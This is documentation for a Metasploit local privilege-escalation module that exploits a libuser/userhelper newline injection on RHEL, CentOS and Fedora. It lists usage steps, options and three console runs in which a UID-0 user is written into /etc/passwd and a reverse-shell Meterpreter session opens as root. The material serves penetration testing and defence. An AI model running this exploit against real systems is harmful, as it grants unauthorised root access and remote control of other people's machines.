metasploit-gs/documentation/modules/exploit/linux/local/libuser_roothelper_priv_esc.md

Description

This module attempts to gain root privileges on Red Hat based Linux systems, including RHEL, Fedora and CentOS, by exploiting a newline injection vulnerability in libuser and userhelper versions prior to 0.56.13-8 and version 0.60 before 0.60-7.

This module makes use of the roothelper.c exploit from Qualys to insert a new user with UID=0 in /etc/passwd.

Note, the password for the current user is required by userhelper.

Note, on some systems, such as Fedora 11, the user entry for the current user in /etc/passwd will become corrupted and exploitation will fail.

Vulnerable Application

This module has been tested successfully on libuser packaged versions:

• 0.56.13-4.el6 on CentOS 6.0 (x86_64)
• 0.56.13-5.el6 on CentOS 6.5 (x86_64)
• 0.60-5.el7 on CentOS 7.1-1503 (x86_64)
• 0.56.16-1.fc13 on Fedora 13 (i686)
• 0.59-1.fc19 on Fedora Desktop 19 (x86_64)
• 0.60-3.fc20 on Fedora Desktop 20 (x86_64)
• 0.60-6.fc21 on Fedora Desktop 21 (x86_64)
• 0.60-6.fc22 on Fedora Desktop 22 (x86_64)
• 0.56.13-5.el6 on Red Hat 6.6 (x86_64)
• 0.60-5.el7 on Red Hat 7.0 (x86_64)

RHEL 5 is vulnerable, however the installed version of glibc (2.5) is missing various functions required by roothelper.c.

Verification Steps

1. Start msfconsole
2. Get a session
3. use exploit/linux/local/libuser_roothelper_priv_esc
4. set SESSION [SESSION]
5. set PASSWORD [PASSWORD]
6. check
7. run
8. You should get a new root session

Options

SESSION

Which session to use, which can be viewed with sessions

PASSWORD

Password for the current user. (default: blank)

WritableDir

A writable directory file system path. (default: /tmp)

COMPILE

Options: Auto True False (default: Auto)

Whether roothelper.c should be live compiled with gcc on the target system, or uploaded as a pre-compiled binary.

Auto will first determine if gcc is installed to compile live on the system, and fall back to uploading a pre-compiled binary.

Scenarios

libuser 0.56.13-5.el6 on Red Hat 6.6 (x86_64)

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Writing '/tmp/.QQ4pE9nj.c' (29342 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.SJAEHS' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.245
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.245:46065) at 2018-04-23 13:08:51 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat Enterprise Linux 6 (Linux 2.6.32-504.el6.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

libuser 0.60-5.el7 on CentOS 7.1-1503 (x86_64)

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Writing '/tmp/.Ake5GA' (103396 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.vbahMY' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.242
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.242:48332) at 2018-04-23 13:13:22 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Red Hat 7.1 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

libuser 0.60-6.fc21 on Fedora Desktop 21 (x86_64)

msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password
password => password
msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.188:4444 
[*] Writing '/tmp/.ByQC9FHS.c' (29342 bytes) ...
[*] Launching roothelper exploit (Timeout: 180)...
[+] Success! User 'a' added to /etc/passwd
[*] Writing '/tmp/.WnBXJkWDa' (207 bytes) ...
[*] Sending stage (857352 bytes) to 172.16.191.240
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.240:53201) at 2018-04-23 13:16:32 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : Fedora 21 (Linux 3.17.4-301.fc21.x86_64)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux